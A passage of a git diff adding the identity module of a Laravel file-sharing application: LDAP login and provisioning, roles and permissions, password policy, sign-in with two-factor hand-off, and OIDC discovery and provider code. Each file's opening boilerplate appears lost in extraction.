+ // list without a second request. `is_administrator` is the flag + // that actually matters when reading one of these. + 'role' => $role instanceof Role ? [ + 'id' => $role->id, + 'name' => $role->name, + 'is_system' => $role->is_system, + 'is_administrator' => $role->is_administrator, + 'client_scoped' => $role->client_scoped, + ] : null, + 'created_at' => $this->created_at?->toIso8601String(), + 'updated_at' => $this->updated_at?->toIso8601String(), + ]; + + if ($this->assignedClientIds !== null) { + // Only meaningful for a client-scoped role; empty otherwise, + // which is what the sync guarantees rather than something a + // caller has to infer. + $data['assigned_client_ids'] = $this->assignedClientIds; + } + + if ($this->content !== null) { + // What a caller needs in order to answer DELETE's mandatory + // content-disposition question before asking. + $data['content'] = $this->content; + } + + return $data; + } +} diff --git a/app/Modules/Identity/IdentityServiceProvider.php b/app/Modules/Identity/IdentityServiceProvider.php new file mode 100644 index 00000000..d34f3a8f --- /dev/null +++ b/app/Modules/Identity/IdentityServiceProvider.php @@ -0,0 +1,59 @@ +app->singleton(PermissionChecker::class); + + // Bound to the interface, not resolved concretely, so a test can + // swap in a fake directory and exercise the whole login flow — + // which account types may authenticate, provisioning, the + // two-factor hand-off — without a directory server anywhere. + $this->app->bind(LdapDirectory::class, LdapRecordDirectory::class); + + // Same reasoning for identity providers: a fake gateway lets the + // resolution rules — which are the whole security value of the + // feature — be exercised without an OAuth server. + $this->app->bind(SocialGateway::class, SocialiteGateway::class); + } + + public function boot(): void + { + // One Gate ability per permission key: `$user->can('edit_settings')`, + // `can:view_actions_log` route middleware, @can in views. + foreach (Permission::cases() as $permission) { + Gate::define( + $permission->value, + fn (User $user): bool => $this->app->make(PermissionChecker::class)->allows($user, $permission), + ); + } + + if ($this->app->runningInConsole()) { + $this->commands([ + CreateAdminCommand::class, + EnsureSystemRolesCommand::class, + EraseAccountCommand::class, + PurgeErasuresCommand::class, + ]); + } + } +} diff --git a/app/Modules/Identity/Ldap/LdapAuthenticator.php b/app/Modules/Identity/Ldap/LdapAuthenticator.php new file mode 100644 index 00000000..86d95821 --- /dev/null +++ b/app/Modules/Identity/Ldap/LdapAuthenticator.php @@ -0,0 +1,124 @@ +usable(); + } + + /** + * Verify a password against the directory on behalf of an account that + * already exists locally. + * + * $user is null when nobody local matches — provisioning handles that + * case, and this method still answers so the caller can decide. + */ + public function attempt(string $email, string $password, ?User $user = null): ?LdapIdentity + { + if (! $this->applies($password, $user)) { + return null; + } + + $identity = $this->directory->authenticate($email, $password); + + if ($identity === null) { + return null; + } + + Cache::forget(self::BREAKER_KEY); + + return $identity; + } + + /** + * Record what the directory told us about an account that already + * exists, so an administrator can see which entry it corresponds to. + * + * `auth_source` is set here only when the account has no source of its + * own yet — a login is not an authenticated request and has no business + * flipping a privilege-adjacent flag on an account it did not create. + */ + public function stamp(User $user, LdapIdentity $identity): void + { + $user->forceFill([ + 'ldap_dn' => $identity->dn, + 'ldap_synced_at' => now(), + ])->save(); + } + + public function markUnreachable(): void + { + Cache::put(self::BREAKER_KEY, true, self::BREAKER_SECONDS); + } + + private function applies(string $password, ?User $user): bool + { + if (trim($password) === '') { + return false; + } + + // Staff never authenticate against a directory. + if ($user !== null && ! $user->isClient()) { + return false; + } + + if (Cache::get(self::BREAKER_KEY) === true) { + return false; + } + + return $this->enabled(); + } + + /** + * Whether this account's password lives in the directory rather than + * here — in which case the local hash is not consulted at all. + */ + public function isDirectoryAccount(?User $user): bool + { + return $user !== null + && $user->isClient() + && $user->auth_source === AuthSource::Ldap; + } +} diff --git a/app/Modules/Identity/Ldap/LdapConnectionFactory.php b/app/Modules/Identity/Ldap/LdapConnectionFactory.php new file mode 100644 index 00000000..43ec3b99 --- /dev/null +++ b/app/Modules/Identity/Ldap/LdapConnectionFactory.php @@ -0,0 +1,68 @@ + + */ + public static function configFor(LdapSettings $settings): array + { + // Built statement by statement rather than as one literal. The + // options are keyed by PHP's LDAP_OPT_* integer constants, and both + // clever ways of assembling them quietly lose entries: array_filter() + // with no callback drops LDAP_OPT_REFERRALS because its value is 0, + // and the spread operator renumbers integer keys outright. Either + // one leaves referrals enabled, which is the Active Directory + // misbehaviour the option exists to prevent. + $options = [ + LDAP_OPT_PROTOCOL_VERSION => 3, + LDAP_OPT_NETWORK_TIMEOUT => 5, + LDAP_OPT_REFERRALS => 0, + ]; + + if ($settings->ca_cert_path !== null && $settings->ca_cert_path !== '') { + $options[LDAP_OPT_X_TLS_CACERTFILE] = $settings->ca_cert_path; + } + + return [ + 'hosts' => [$settings->host], + 'port' => $settings->port, + 'base_dn' => $settings->base_dn, + // Empty means an anonymous bind, which some directories allow + // for the search step. + 'username' => $settings->bind_dn !== '' ? $settings->bind_dn : null, + 'password' => $settings->bind_password !== '' ? $settings->bind_password : null, + 'use_ssl' => $settings->encryption === LdapEncryption::Ssl, + 'use_tls' => $settings->encryption === LdapEncryption::Tls, + // A directory that stops answering must not hold a PHP-FPM + // worker for LDAP's 30-second default; see LdapAuthenticator's + // circuit breaker for the other half of that. + 'timeout' => 5, + 'options' => $options, + ]; + } + + public static function make(LdapSettings $settings): Connection + { + // LDAP_OPT_X_TLS_REQUIRE_CERT is deliberately never set, leaving the + // system default of `demand`. There is no code path here that + // weakens certificate verification. + return new Connection(self::configFor($settings)); + } +} diff --git a/app/Modules/Identity/Ldap/LdapDirectory.php b/app/Modules/Identity/Ldap/LdapDirectory.php new file mode 100644 index 00000000..9daf2e9c --- /dev/null +++ b/app/Modules/Identity/Ldap/LdapDirectory.php @@ -0,0 +1,36 @@ + 'None (unencrypted)', + self::Ssl => 'LDAPS (implicit TLS)', + self::Tls => 'StartTLS', + }; + } + + /** The port this scheme conventionally listens on. */ + public function defaultPort(): int + { + return match ($this) { + self::Ssl => 636, + default => 389, + }; + } +} diff --git a/app/Modules/Identity/Ldap/LdapIdentity.php b/app/Modules/Identity/Ldap/LdapIdentity.php new file mode 100644 index 00000000..3c39bedb --- /dev/null +++ b/app/Modules/Identity/Ldap/LdapIdentity.php @@ -0,0 +1,20 @@ +ldap->enabled() || ! $settings->auto_provision) { + return null; + } + + // Same refusals as an ordinary LDAP login — an empty or + // whitespace-only password must never reach a bind. + $identity = $this->ldap->attempt($email, $password); + + if ($identity === null) { + return null; + } + + return $this->clients->provision( + name: $identity->name, + email: $identity->email, + // A password they will never use and never learn: this account + // authenticates against the directory. Generated rather than + // left null so nothing downstream has to special-case an empty + // hash, and never the directory password. + password: Str::password(64), + action: Action::LdapClientProvisioned, + source: AuthSource::Ldap, + ldapDn: $identity->dn, + autoApprove: $settings->auto_approve, + ); + } +} diff --git a/app/Modules/Identity/Ldap/LdapRecordDirectory.php b/app/Modules/Identity/Ldap/LdapRecordDirectory.php new file mode 100644 index 00000000..e8d9aa64 --- /dev/null +++ b/app/Modules/Identity/Ldap/LdapRecordDirectory.php @@ -0,0 +1,173 @@ +usable()) { + return null; + } + + try { + $connection = LdapConnectionFactory::make($settings); + $connection->connect(); + + $entry = $this->findEntry($connection, $settings, $email); + + if ($entry === null) { + return null; + } + + $dn = (string) ($entry['dn'] ?? ''); + + if ($dn === '' || ! $connection->auth()->attempt($dn, $password)) { + return null; + } + + return new LdapIdentity( + dn: $dn, + email: $this->attribute($entry, $settings->email_attribute) ?? $email, + name: $this->attribute($entry, $settings->name_attribute) ?? $email, + ); + } catch (Throwable $e) { + Log::warning('LDAP authentication could not be completed.', ['exception' => $e::class]); + + return null; + } + } + + public function probe(?string $email = null, ?string $password = null): LdapProbeResult + { + $settings = LdapSettings::current(); + + if (! extension_loaded('ldap')) { + return LdapProbeResult::failed( + LdapProbeResult::STAGE_CONNECT, + __('The PHP LDAP extension is not installed on this server.'), + ); + } + + try { + $connection = LdapConnectionFactory::make($settings); + $connection->connect(); + } catch (Throwable $e) { + return LdapProbeResult::failed( + LdapProbeResult::STAGE_SERVICE_BIND, + __('Could not connect or bind as the service account: :error', ['error' => $e->getMessage()]), + ); + } + + if ($email === null || $email === '') { + return LdapProbeResult::ok( + LdapProbeResult::STAGE_SERVICE_BIND, + __('Connected and bound as the service account.'), + ); + } + + try { + $entry = $this->findEntry($connection, $settings, $email); + } catch (Throwable $e) { + return LdapProbeResult::failed( + LdapProbeResult::STAGE_SEARCH, + __('The search failed: :error', ['error' => $e->getMessage()]), + ); + } + + if ($entry === null) { + return LdapProbeResult::failed( + LdapProbeResult::STAGE_SEARCH, + __('No directory entry matched that address under the base DN.'), + ); + } + + $dn = (string) ($entry['dn'] ?? ''); + + if ($password === null || $password === '') { + return LdapProbeResult::ok(LdapProbeResult::STAGE_SEARCH, __('Found a matching entry.'), $dn); + } + + try { + $bound = $connection->auth()->attempt($dn, $password); + } catch (Throwable $e) { + return LdapProbeResult::failed( + LdapProbeResult::STAGE_USER_BIND, + __('The sign-in bind failed: :error', ['error' => $e->getMessage()]), + ); + } + + return $bound + ? LdapProbeResult::ok(LdapProbeResult::STAGE_USER_BIND, __('Signed in successfully.'), $dn) + : LdapProbeResult::failed(LdapProbeResult::STAGE_USER_BIND, __('The directory rejected that password.')); + } + + /** + * The one entry matching this address, or null. + * + * Two results is a misconfiguration — two objects sharing an address — + * and choosing one of them is how you sign the wrong person in, so it + * fails closed. + * + * @return array|null + */ + private function findEntry(Connection $connection, LdapSettings $settings, string $email): ?array + { + $query = $connection->query() + ->in($settings->base_dn) + // The email goes through the builder, which escapes it. It is + // never concatenated into a filter string. + ->whereEquals($settings->email_attribute, $email); + + if (is_string($settings->user_filter) && $settings->user_filter !== '') { + // Admin-supplied, never visitor-supplied. + $query->rawFilter($settings->user_filter); + } + + $results = $query->limit(2)->get(); + + return count($results) === 1 ? $results[0] : null; + } + + /** + * @param array $entry + */ + private function attribute(array $entry, string $name): ?string + { + $value = $entry[strtolower($name)] ?? null; + + if (is_array($value)) { + $value = $value[0] ?? null; + } + + return is_string($value) && $value !== '' ? $value : null; + } +} diff --git a/app/Modules/Identity/Ldap/LdapSettings.php b/app/Modules/Identity/Ldap/LdapSettings.php new file mode 100644 index 00000000..71bf615a --- /dev/null +++ b/app/Modules/Identity/Ldap/LdapSettings.php @@ -0,0 +1,83 @@ + false, + 'port' => 389, + 'encryption' => 'tls', + 'email_attribute' => 'mail', + 'name_attribute' => 'cn', + 'auto_provision' => false, + 'auto_approve' => false, + ]; + + protected function casts(): array + { + return [ + 'active' => 'boolean', + 'port' => 'integer', + 'encryption' => LdapEncryption::class, + 'bind_password' => 'encrypted', + 'auto_provision' => 'boolean', + 'auto_approve' => 'boolean', + ]; + } + + public static function current(): self + { + return static::query()->firstOrNew([]); + } + + /** + * Whether a login may consult the directory at all. + * + * The extension check is part of the answer rather than a separate + * question: an administrator can save settings on a server that cannot + * talk LDAP, and every login must then behave exactly as if the + * feature were switched off rather than throwing. + */ + public function usable(): bool + { + return $this->active + && extension_loaded('ldap') + && is_string($this->host) && $this->host !== '' + && is_string($this->base_dn) && $this->base_dn !== ''; + } +} diff --git a/app/Modules/Identity/Models/Role.php b/app/Modules/Identity/Models/Role.php new file mode 100644 index 00000000..776b249b --- /dev/null +++ b/app/Modules/Identity/Models/Role.php @@ -0,0 +1,66 @@ +is_system) { + throw new RuntimeException('System roles cannot be deleted.'); + } + }); + + static::updating(function (Role $role): void { + if ((bool) $role->getOriginal('is_system') && ($role->isDirty('name') || $role->isDirty('is_system'))) { + throw new RuntimeException('System roles cannot be renamed or demoted.'); + } + }); + } + + protected function casts(): array + { + return [ + 'is_system' => 'boolean', + 'is_administrator' => 'boolean', + 'client_scoped' => 'boolean', + ]; + } + + /** + * @return HasMany + */ + public function permissions(): HasMany + { + return $this->hasMany(RolePermission::class); + } + + /** + * @return HasMany + */ + public function users(): HasMany + { + return $this->hasMany(User::class); + } +} diff --git a/app/Modules/Identity/Models/RolePermission.php b/app/Modules/Identity/Models/RolePermission.php new file mode 100644 index 00000000..68946e27 --- /dev/null +++ b/app/Modules/Identity/Models/RolePermission.php @@ -0,0 +1,20 @@ + + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(CanResetPassword $notifiable): MailMessage + { + $url = url(route('password.reset', [ + 'token' => $this->token, + 'email' => $notifiable->getEmailForPasswordReset(), + ], false)); + + $expireMinutes = (int) config('auth.passwords.'.config('auth.defaults.passwords').'.expire'); + + if (($override = $this->overrideOrNull(EmailTemplateSlot::PasswordReset)) !== null) { + return $this->mailFromOverride($override, [':count' => (string) $expireMinutes]) + ->action(__('Reset Password'), $url); + } + + return (new MailMessage) + ->subject(__('Reset Password Notification')) + ->line(__('You are receiving this email because we received a password reset request for your account.')) + ->action(__('Reset Password'), $url) + ->line(__('This password reset link will expire in :count minutes.', ['count' => $expireMinutes])) + ->line(__('If you did not request a password reset, no further action is required.')); + } +} diff --git a/app/Modules/Identity/Notifications/TwoFactorResetNotification.php b/app/Modules/Identity/Notifications/TwoFactorResetNotification.php new file mode 100644 index 00000000..0200dcdd --- /dev/null +++ b/app/Modules/Identity/Notifications/TwoFactorResetNotification.php @@ -0,0 +1,45 @@ + + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + if (($override = $this->overrideOrNull(EmailTemplateSlot::TwoFactorReset)) !== null) { + return $this->mailFromOverride($override, [])->action(__('Log in'), route('login')); + } + + return (new MailMessage) + ->subject(__('Two-factor authentication was removed from your account')) + ->line(__('An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.')) + ->action(__('Log in'), route('login')); + } +} diff --git a/app/Modules/Identity/Passwords/PasswordPolicy.php b/app/Modules/Identity/Passwords/PasswordPolicy.php new file mode 100644 index 00000000..9b9dfee6 --- /dev/null +++ b/app/Modules/Identity/Passwords/PasswordPolicy.php @@ -0,0 +1,97 @@ +settings->get(Setting::PasswordMinLength); + + return max(self::MIN_LENGTH, min(self::MAX_LENGTH, (int) $configured)); + } + + public function rejectsBreached(): bool + { + return (bool) $this->settings->get(Setting::PasswordRejectBreached); + } + + /** + * The rule object handed to every password field. + * + * `uncompromised()` calls the k-anonymity range API at + * haveibeenpwned, so it stays production-only regardless of the + * setting: outside production it would put a network round-trip (and + * a flaky one) into the test suite and local dev. + */ + public function rule(): Password + { + $rule = Password::min($this->minLength()); + + if ($this->rejectsBreached() && app()->isProduction()) { + $rule = $rule->uncompromised(); + } + + return $rule; + } + + /** + * What the forms tell the person choosing a password, shared with + * every page through HandleInertiaRequests. + * + * `reject_breached` reports the setting rather than whether the check + * will actually run, because it is a statement of this + * installation's policy — the production gate above is an + * implementation detail of how we keep tests offline, not something + * an administrator configured. + * + * @return array{min_length: int, reject_breached: bool} + */ + public function descriptor(): array + { + return [ + 'min_length' => $this->minLength(), + 'reject_breached' => $this->rejectsBreached(), + ]; + } +} diff --git a/app/Modules/Identity/Permissions/EnsureSystemRoles.php b/app/Modules/Identity/Permissions/EnsureSystemRoles.php new file mode 100644 index 00000000..8223b1c4 --- /dev/null +++ b/app/Modules/Identity/Permissions/EnsureSystemRoles.php @@ -0,0 +1,115 @@ +isLegacy()) { + continue; + } + + $role = Role::query()->where('name', $systemRole->value)->first(); + + if ($role === null) { + $attributes = [ + 'name' => $systemRole->value, + 'is_system' => true, + 'is_administrator' => $systemRole->isAdministrator(), + ]; + + if ($hasClientScoped) { + $attributes['client_scoped'] = $systemRole->isClientScoped(); + } + + $role = Role::query()->create($attributes); + + // The administrator role holds every permission by + // construction and never needs pivot rows. + if (! $systemRole->isAdministrator()) { + RolePermission::query()->insert(array_map( + fn (Permission $permission): array => [ + 'role_id' => $role->id, + 'permission' => $permission->value, + ], + $systemRole->defaultPermissions(), + )); + } + + continue; + } + + // Repair tampered flags; permissions stay as customized. + $scopeDrifted = $hasClientScoped && (bool) $role->client_scoped !== $systemRole->isClientScoped(); + + if (! $role->is_system || $role->is_administrator !== $systemRole->isAdministrator() || $scopeDrifted) { + $attributes = [ + 'is_system' => true, + 'is_administrator' => $systemRole->isAdministrator(), + ]; + + if ($hasClientScoped) { + $attributes['client_scoped'] = $systemRole->isClientScoped(); + } + + $role->forceFill($attributes)->save(); + } + } + } + + /** + * Find or create a single role by its SystemRole definition, including + * its default permissions. Unlike ensure() this materializes legacy + * roles too — used by the test factory (and, later, the migration + * tool). Assumes the schema is fully migrated (client_scoped exists). + */ + public function materialize(SystemRole $systemRole): Role + { + $role = Role::query()->where('name', $systemRole->value)->first(); + + if ($role !== null) { + return $role; + } + + $role = Role::query()->create([ + 'name' => $systemRole->value, + 'is_system' => true, + 'is_administrator' => $systemRole->isAdministrator(), + 'client_scoped' => $systemRole->isClientScoped(), + ]); + + if (! $systemRole->isAdministrator()) { + RolePermission::query()->insert(array_map( + fn (Permission $permission): array => [ + 'role_id' => $role->id, + 'permission' => $permission->value, + ], + $systemRole->defaultPermissions(), + )); + } + + return $role; + } +} diff --git a/app/Modules/Identity/Permissions/Permission.php b/app/Modules/Identity/Permissions/Permission.php new file mode 100644 index 00000000..c70e6a30 --- /dev/null +++ b/app/Modules/Identity/Permissions/Permission.php @@ -0,0 +1,230 @@ + 'Upload files', + self::CreateOwnFolders => 'Create own folders', + self::EditFiles => 'Edit own files', + self::EditOthersFiles => "Edit others' files", + self::DeleteFiles => 'Delete own files', + self::DeleteOthersFiles => "Delete others' files", + self::SetFileExpirationDate => 'Set file expiration dates', + self::SetFileCategories => 'Assign categories to files', + self::UploadPublic => 'Upload public files', + self::UploadToPublicFolders => 'Upload to public folders', + self::ImportOrphans => 'Import orphan files', + self::LimitDownloads => 'Limit download counts', + self::ModerateComments => 'Moderate comments', + self::CreateCategories => 'Create categories', + self::EditCategories => 'Edit categories', + self::DeleteCategories => 'Delete categories', + self::CreateClients => 'Create clients', + self::EditClients => 'Edit clients', + self::DeleteClients => 'Delete clients', + self::CreateUsers => 'Create system users', + self::EditUsers => 'Edit system users', + self::DeleteUsers => 'Delete system users', + self::ApproveAccountRequests => 'Approve account requests', + self::ManageUsers => 'Manage system users and roles', + // Not "manage": this key opens the client list page and its + // sidebar link, nothing else. Creating, editing and deleting + // have keys of their own. The stored value stays + // `manage_clients` — v1's vocabulary is preserved verbatim so + // the importer needs no mapping table — but the label people + // read should say what it actually does. + self::ManageClients => 'View the client list', + self::ManageCustomFields => 'Manage client custom fields', + self::CreateGroups => 'Create groups', + self::EditGroups => 'Edit groups', + self::DeleteGroups => 'Delete groups', + self::ApproveGroupsMembershipsRequests => 'Approve group membership requests', + // Same shape as ManageClients above. + self::ManageGroups => 'View the group list', + self::EditSettings => 'Edit system settings', + self::EditEmailTemplates => 'Edit email templates', + self::ViewActionsLog => 'View the activity log', + self::ViewStatistics => 'View statistics', + self::ViewNews => 'View news', + self::ViewSystemInfo => 'View system information', + self::ViewDashboardCounters => 'View dashboard counters', + self::ManageUpdates => 'Manage updates', + self::CreateAssets => 'Create custom assets', + self::EditAssets => 'Edit custom assets', + self::DeleteAssets => 'Delete custom assets', + }; + } + + /** + * The capability this permission depends on, if any. + * + * Permissions and capabilities are independent gates: a permission says + * what a *role* may do, a capability says what this *edition* has at all. + * The surfaces they guard already apply both — routes/web.php pairs + * `capability:users.manage` with `can:manage_users`, and the sidebar + * pairs them again for visibility. Holding `manage_users` on a cloud + * install therefore means nothing: the feature is absent, not merely + * hidden. + * + * Expressed here so anything that enumerates permissions (the API token + * form is the first) can ask rather than hardcode its own copy of the + * pairing, and so a new permission's capability requirement is decided + * in the same file as the case itself. + * + * Null means "available in every edition", which is most of them. + */ + public function capability(): ?Capability + { + return match ($this) { + self::CreateUsers, + self::EditUsers, + self::DeleteUsers, + self::ManageUsers => Capability::UsersManage, + + self::ManageUpdates => Capability::SystemUpdates, + + self::CreateAssets, + self::EditAssets, + self::DeleteAssets => Capability::CustomAssets, + + default => null, + }; + } + + public function category(): PermissionCategory + { + return match ($this) { + self::Upload, + self::CreateOwnFolders, + self::EditFiles, + self::EditOthersFiles, + self::DeleteFiles, + self::DeleteOthersFiles, + self::SetFileExpirationDate, + self::SetFileCategories, + self::UploadPublic, + self::UploadToPublicFolders, + self::ImportOrphans, + self::LimitDownloads, + self::ModerateComments => PermissionCategory::Files, + + self::CreateCategories, + self::EditCategories, + self::DeleteCategories => PermissionCategory::Categories, + + // Staff accounts — the people who administer the installation. + self::CreateUsers, + self::EditUsers, + self::DeleteUsers, + self::ManageUsers => PermissionCategory::Users, + + // The client population, which is a different thing entirely: + // custom fields describe clients, and the account-request queue + // is where self-registered clients wait for approval. + self::CreateClients, + self::EditClients, + self::DeleteClients, + self::ManageClients, + self::ManageCustomFields, + self::ApproveAccountRequests => PermissionCategory::Clients, + + self::CreateGroups, + self::EditGroups, + self::DeleteGroups, + self::ApproveGroupsMembershipsRequests, + self::ManageGroups => PermissionCategory::Groups, + + self::EditSettings, + self::EditEmailTemplates, + self::ViewActionsLog, + self::ViewStatistics, + self::ViewNews, + self::ViewSystemInfo, + self::ViewDashboardCounters, + self::ManageUpdates => PermissionCategory::System, + + self::CreateAssets, + self::EditAssets, + self::DeleteAssets => PermissionCategory::Assets, + }; + } +} diff --git a/app/Modules/Identity/Permissions/PermissionCategory.php b/app/Modules/Identity/Permissions/PermissionCategory.php new file mode 100644 index 00000000..7a006413 --- /dev/null +++ b/app/Modules/Identity/Permissions/PermissionCategory.php @@ -0,0 +1,39 @@ + 'Files', + self::Categories => 'Categories', + self::Users => 'Users', + self::Clients => 'Clients', + self::Groups => 'Groups', + self::System => 'System', + self::Assets => 'Custom assets', + }; + } +} diff --git a/app/Modules/Identity/Permissions/PermissionChecker.php b/app/Modules/Identity/Permissions/PermissionChecker.php new file mode 100644 index 00000000..4c2c8462 --- /dev/null +++ b/app/Modules/Identity/Permissions/PermissionChecker.php @@ -0,0 +1,68 @@ +> + */ + private array $granted = []; + + public function allows(User $user, Permission $permission): bool + { + $role = $user->role; + + if ($role === null) { + return false; + } + + if ($role->is_administrator) { + return true; + } + + return isset($this->grantedFor($role)[$permission->value]); + } + + /** + * Every permission key granted to the user, for UI hiding. + * + * @return list + */ + public function grantedKeys(User $user): array + { + $role = $user->role; + + if ($role === null) { + return []; + } + + if ($role->is_administrator) { + return array_map(fn (Permission $permission): string => $permission->value, Permission::cases()); + } + + return array_keys($this->grantedFor($role)); + } + + /** + * @return array + */ + private function grantedFor(Role $role): array + { + return $this->granted[$role->id] ??= RolePermission::query() + ->where('role_id', $role->id) + ->pluck('permission') + // Ignore keys that no longer exist in the vocabulary. + ->filter(fn (string $key): bool => Permission::tryFrom($key) !== null) + ->mapWithKeys(fn (string $key): array => [$key => true]) + ->all(); + } +} diff --git a/app/Modules/Identity/Permissions/SystemRole.php b/app/Modules/Identity/Permissions/SystemRole.php new file mode 100644 index 00000000..94ddf646 --- /dev/null +++ b/app/Modules/Identity/Permissions/SystemRole.php @@ -0,0 +1,133 @@ + + */ + public function defaultPermissions(): array + { + return match ($this) { + self::SystemAdministrator => Permission::cases(), + + self::AccountManager => [ + Permission::Upload, + Permission::EditFiles, + Permission::EditOthersFiles, + Permission::DeleteFiles, + Permission::DeleteOthersFiles, + Permission::SetFileExpirationDate, + Permission::UploadPublic, + Permission::ImportOrphans, + Permission::ModerateComments, + Permission::CreateCategories, + Permission::EditCategories, + Permission::DeleteCategories, + Permission::CreateClients, + Permission::EditClients, + Permission::DeleteClients, + Permission::ManageCustomFields, + Permission::ApproveAccountRequests, + Permission::CreateGroups, + Permission::EditGroups, + Permission::DeleteGroups, + Permission::ApproveGroupsMembershipsRequests, + Permission::ViewActionsLog, + Permission::ViewStatistics, + Permission::ViewNews, + ], + + self::Uploader => [ + Permission::Upload, + Permission::EditFiles, + Permission::DeleteFiles, + Permission::SetFileExpirationDate, + Permission::UploadPublic, + Permission::ImportOrphans, + Permission::CreateCategories, + Permission::EditCategories, + Permission::DeleteCategories, + Permission::ViewActionsLog, + Permission::ViewStatistics, + Permission::ViewNews, + ], + + // A file-focused staff role (upload, edit/delete own files, + // categories, own folders) that is client_scoped: members only + // see the library content of the clients assigned to them, plus + // their own uploads. This is the v2 successor to the legacy + // Uploader role. + self::ClientManager => [ + Permission::Upload, + Permission::EditFiles, + Permission::DeleteFiles, + Permission::SetFileExpirationDate, + Permission::UploadPublic, + Permission::CreateCategories, + Permission::EditCategories, + Permission::DeleteCategories, + Permission::CreateOwnFolders, + Permission::ViewActionsLog, + Permission::ViewStatistics, + Permission::ViewNews, + ], + + // Clients can both send and organize by default — upload and + // create_own_folders travel together (see FolderPolicy/ + // MyFoldersController: creating a folder you can never put + // anything in makes no sense on its own). An admin can still + // narrow this per role via the Roles UI. + self::Client => [ + Permission::Upload, + Permission::CreateOwnFolders, + ], + }; + } +} diff --git a/app/Modules/Identity/SignIn.php b/app/Modules/Identity/SignIn.php new file mode 100644 index 00000000..0b3ab64d --- /dev/null +++ b/app/Modules/Identity/SignIn.php @@ -0,0 +1,91 @@ +active) { + return null; + } + + return $user->account_requested + ? __('Your account request has not been approved yet.') + : __('Your account has been deactivated.'); + } + + /** + * Phase 3 — start the session, or park the account for its second + * factor. + * + * Returns true when a two-factor challenge is pending, in which case + * no session has been created and the caller should redirect to + * `two-factor.challenge`. + * + * Auth::login rather than Auth::attempt: the credential was already + * verified upstream, and possibly not against a password at all. It + * still fires the Login event, which is what writes the activity-log + * entry. + */ + public function begin(User $user, bool $remember): bool + { + if ($user->hasTwoFactorEnabled()) { + Session::put([ + self::TWO_FACTOR_ID => $user->id, + self::TWO_FACTOR_REMEMBER => $remember, + ]); + + return true; + } + + Auth::login($user, $remember); + + return false; + } +} diff --git a/app/Modules/Identity/Social/OidcDiscovery.php b/app/Modules/Identity/Social/OidcDiscovery.php new file mode 100644 index 00000000..77780402 --- /dev/null +++ b/app/Modules/Identity/Social/OidcDiscovery.php @@ -0,0 +1,101 @@ + $this->fetch($issuer), + ); + } + + public function forget(string $issuerUrl): void + { + Cache::forget(self::cacheKey(rtrim(trim($issuerUrl), '/'))); + } + + private static function cacheKey(string $issuer): string + { + return 'identity.oidc.discovery.v1.'.sha1($issuer); + } + + /** + * @return array{authorization_endpoint: string, token_endpoint: string, userinfo_endpoint: ?string, supports_pkce: bool} + */ + private function fetch(string $issuer): array + { + $url = $issuer.'/.well-known/openid-configuration'; + + // Short, because this runs inside a person's click on "Sign in". + // A provider that has stopped answering must fail the login, not + // hold the worker — the same reasoning as LdapAuthenticator's + // circuit breaker. + $response = Http::timeout(5)->connectTimeout(5)->acceptJson()->get($url); + + if (! $response->successful()) { + throw new RuntimeException("The OpenID Connect discovery document at {$url} could not be read."); + } + + $document = $response->json(); + + if (! is_array($document)) { + throw new RuntimeException("The OpenID Connect discovery document at {$url} is not JSON."); + } + + foreach (['authorization_endpoint', 'token_endpoint'] as $required) { + if (! is_string($document[$required] ?? null) || $document[$required] === '') { + throw new RuntimeException("The OpenID Connect discovery document at {$url} has no {$required}."); + } + } + + $methods = $document['code_challenge_methods_supported'] ?? []; + + return [ + 'authorization_endpoint' => $document['authorization_endpoint'], + 'token_endpoint' => $document['token_endpoint'], + 'userinfo_endpoint' => is_string($document['userinfo_endpoint'] ?? null) + ? $document['userinfo_endpoint'] + : null, + 'supports_pkce' => is_array($methods) && in_array('S256', $methods, true), + ]; + } +} diff --git a/app/Modules/Identity/Social/OidcProvider.php b/app/Modules/Identity/Social/OidcProvider.php new file mode 100644 index 00000000..7b121182 --- /dev/null +++ b/app/Modules/Identity/Social/OidcProvider.php @@ -0,0 +1,191 @@ + */ + protected $scopes = ['openid', 'profile', 'email']; + + protected $scopeSeparator = ' '; + + /** @var array */ + protected array $idTokenClaims = []; + + /** + * @param array{authorization_endpoint: string, token_endpoint: string, userinfo_endpoint: ?string, supports_pkce: bool} $discovery + */ + public function __construct( + Request $request, + string $clientId, + string $clientSecret, + string $redirectUrl, + array $discovery, + ) { + parent::__construct($request, $clientId, $clientSecret, $redirectUrl); + + $this->discovery = $discovery; + + // PKCE binds the authorization code to this browser session, so a + // code leaked out of a redirect — a referrer header, a proxy log, + // a shared machine's history — cannot be redeemed by anyone else. + // Only when the server says it supports S256; offering a + // code_challenge to a server that ignores it buys nothing and + // breaks some. + if ($discovery['supports_pkce']) { + $this->enablePKCE(); + } + } + + protected function getAuthUrl($state): string + { + return $this->buildAuthUrlFromBase($this->discovery['authorization_endpoint'], $state); + } + + protected function getTokenUrl(): string + { + return $this->discovery['token_endpoint']; + } + + /** + * @param string $code + * @return mixed + */ + public function getAccessTokenResponse($code) + { + $response = parent::getAccessTokenResponse($code); + + $this->idTokenClaims = is_array($response) + ? $this->claimsFromIdToken(Arr::get($response, 'id_token')) + : []; + + return $response; + } + + /** + * @param string $token + * @return array + */ + protected function getUserByToken($token): array + { + // ID token claims win: they are the ones the issuer signed and + // the ones this application makes decisions about. + return array_merge($this->userinfo($token), $this->idTokenClaims); + } + + /** + * @return array + */ + private function userinfo(string $token): array + { + $endpoint = $this->discovery['userinfo_endpoint']; + + if ($endpoint === null) { + return []; + } + + try { + $response = $this->getHttpClient()->get($endpoint, [ + RequestOptions::HEADERS => [ + 'Accept' => 'application/json', + 'Authorization' => 'Bearer '.$token, + ], + ]); + } catch (Throwable) { + // An ID token alone is a complete identity. A server whose + // userinfo endpoint is unreachable or scope-restricted should + // not fail the login over profile decoration. + return []; + } + + $claims = json_decode((string) $response->getBody(), true); + + return is_array($claims) ? $claims : []; + } + + /** + * The payload of a JWT, without verifying its signature — see the + * class docblock for why that is sound here and nowhere else. + * + * @return array + */ + private function claimsFromIdToken(mixed $idToken): array + { + if (! is_string($idToken)) { + return []; + } + + $segments = explode('.', $idToken); + + if (count($segments) !== 3) { + return []; + } + + $payload = base64_decode(strtr($segments[1], '-_', '+/'), true); + + if ($payload === false) { + return []; + } + + $claims = json_decode($payload, true); + + return is_array($claims) ? $claims : []; + } + + /** + * @param array $user + */ + protected function mapUserToObject(array $user): User + { + return (new User)->setRaw($user)->map([ + 'id' => Arr::get($user, 